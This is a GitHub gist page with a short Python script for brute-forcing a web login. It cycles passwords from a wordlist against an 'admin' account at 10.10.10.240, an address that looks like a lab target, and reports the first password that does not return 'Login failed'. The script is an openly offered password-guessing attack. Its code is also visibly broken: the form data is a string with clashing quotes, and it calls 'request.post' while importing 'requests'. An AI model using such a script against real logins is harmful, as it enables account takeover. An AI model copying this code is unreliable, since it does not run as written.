Created
February 16, 2022 23:39
-
-
Save caueb/19c3a0aa09f5fa36217506e7eeab2c7f to your computer and use it in GitHub Desktop.
Basic login bruteforce using a provided wordlist.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import requests | |
target_url = "http://10.10.10.240/login.php" | |
data_dict = "{"username": "admin", "password": "", "Login": "submit"}" | |
with open("/home/kali/Desktop/passwords.txt", "r") as wordlist_file: | |
for line in wordlist_file: | |
word = line.strip() | |
data_dict["password"] = word | |
response = request.post(target_url, data=data_dict) | |
if "Login failed" not in response.content.decode(): | |
print("[+] Got the password --> " + word) | |
exit() | |
print("[+] Reached end of line. Password not found.") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment